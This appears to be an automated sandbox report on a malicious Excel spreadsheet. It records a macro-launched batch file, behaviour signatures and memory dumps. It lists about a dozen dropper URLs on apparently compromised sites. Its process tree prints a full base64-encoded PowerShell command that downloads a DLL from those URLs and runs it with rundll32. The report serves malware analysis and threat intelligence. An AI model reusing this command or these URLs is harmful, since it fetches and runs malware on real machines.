Analysis
- max time kernel
130s - max time network
169s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
25/01/2022, 15:59
General
- Target tmpahe342sy.xls
- Size 144KB
- Sample220125-te4jgaaddn
- SHA256 eaacbf5824487ddc63b5b58f4e802bf6d3ca43b403bb13b8bb0c28d9340e56ed
Malware Config
Extracted
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ps1
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exe.dropper
http://philiatek.com/wp-content/i6xZ9PESl4QAWL9O/
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exe.dropper
http://diademfinancial.com/oxly7sr/IfH/
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exe.dropper
http://khustle.com/cgi-bin/jz381CkM5gYgMH/
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exe.dropper
http://newalthyplane.com.althyplane.com/dmcbg7s/X4bbl6/
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exe.dropper
http://nostringsattachedrelationship.net/wp-content/xDuD8qnc/
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exe.dropper
https://acorngift.com/wp-content/YhNgI/
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exe.dropper
http://russian-coins.info/libraries/8oDzr/
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exe.dropper
http://daisy.sukoburu-secure.com/assets/qrwbWpSM/
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exe.dropper
http://ppdbsmp.insanrabbany.sch.id/assets/eofgaHjWVR9o/
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exe.dropper
http://harmonylifecare.vogomo.com/m113gvw/bsKtRYvTM/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of SetWindowsHookEx 16 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpahe342sy.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\tydkjxjd.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcABoAGkAbABpAGEAdABlAGsALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADYAeABaADkAUABFAFMAbAA0AFEAQQBXAEwAOQBPAC8ALABoAHQAdABwADoALwAvAGQAaQBhAGQAZQBtAGYAaQBuAGEAbgBjAGkAYQBsAC4AYwBvAG0ALwBvAHgAbAB5ADcAcwByAC8ASQBmAEgALwAsAGgAdAB0AHAAOgAvAC8AawBoAHUAcwB0AGwAZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGoAegAzADgAMQBDAGsATQA1AGcAWQBnAE0ASAAvACwAaAB0AHQAcAA6AC8ALwBuAGUAdwBhAGwAdABoAHkAcABsAGEAbgBlAC4AYwBvAG0ALgBhAGwAdABoAHkAcABsAGEAbgBlAC4AYwBvAG0ALwBkAG0AYwBiAGcANwBzAC8AWAA0AGIAYgBsADYALwAsAGgAdAB0AHAAOgAvAC8AbgBvAHMAdAByAGkAbgBnAHMAYQB0AHQAYQBjAGgAZQBkAHIAZQBsAGEAdABpAG8AbgBzAGgAaQBwAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeABEAHUARAA4AHEAbgBjAC8ALABoAHQAdABwAHMAOgAvAC8AYQBjAG8AcgBuAGcAaQBmAHQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBZAGgATgBnAEkALwAsAGgAdAB0AHAAOgAvAC8AcgB1AHMAcwBpAGEAbgAtAGMAbwBpAG4AcwAuAGkAbgBmAG8ALwBsAGkAYgByAGEAcgBpAGUAcwAvADgAbwBEAHoAcgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAaQBzAHkALgBzAHUAawBvAGIAdQByAHUALQBzAGUAYwB1AHIAZQAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBxAHIAdwBiAFcAcABTAE0ALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AcAAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBhAHMAcwBlAHQAcwAvAGUAbwBmAGcAYQBIAGoAVwBWAFIAOQBvAC8ALABoAHQAdABwADoALwAvAGgAYQByAG0AbwBuAHkAbABpAGYAZQBjAGEAcgBlAC4AdgBvAGcAbwBtAG8ALgBjAG8AbQAvAG0AMQAxADMAZwB2AHcALwBiAHMASwB0AFIAWQB2AFQATQAvACwAaAB0AHQAcABzADoALwAvAGMAYwBlAC4AZQBkAHUALgBpAG4ALwBhAGQAbQBpAG4ALwBaADYAUgBWADQANwBiAE0AQgByAC8ALABoAHQAdABwADoALwAvAG0AaQBnAHIAYQBuAHQAZQB4AGwAYQB0AGUAeAAuAGMAbwBtAC4AbQB4AC8AYwBnAGkALQBiAGkAbgAvADIAQgBBAGIALwAsAGgAdAB0AHAAOgAvAC8AbwByAGkAZQBuAHQAYgB1AGYAZgBlAHQALgBlAHUALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AOQBXAFoALwAsAGgAdAB0AHAAOgAvAC8AbABlAG4AYwBlAG4AdAByAC4AcgB1AC8AYwBzAHMALwBUAFEARAB5ADkANQBJAGsAWQBCAHoARwBsAHkAUwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAIABmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2260-132-0x00007FFDF89F0000-0x00007FFDF8A00000-memory.dmp
memory/2260-120-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp
memory/2260-121-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp
memory/2260-124-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp
memory/2260-131-0x00007FFDF89F0000-0x00007FFDF8A00000-memory.dmp
memory/2260-118-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp
memory/2260-302-0x0000014657FC0000-0x0000014657FC4000-memory.dmp
memory/2260-119-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp
memory/2260-345-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp
memory/2260-346-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp
memory/2260-347-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp
memory/2260-348-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp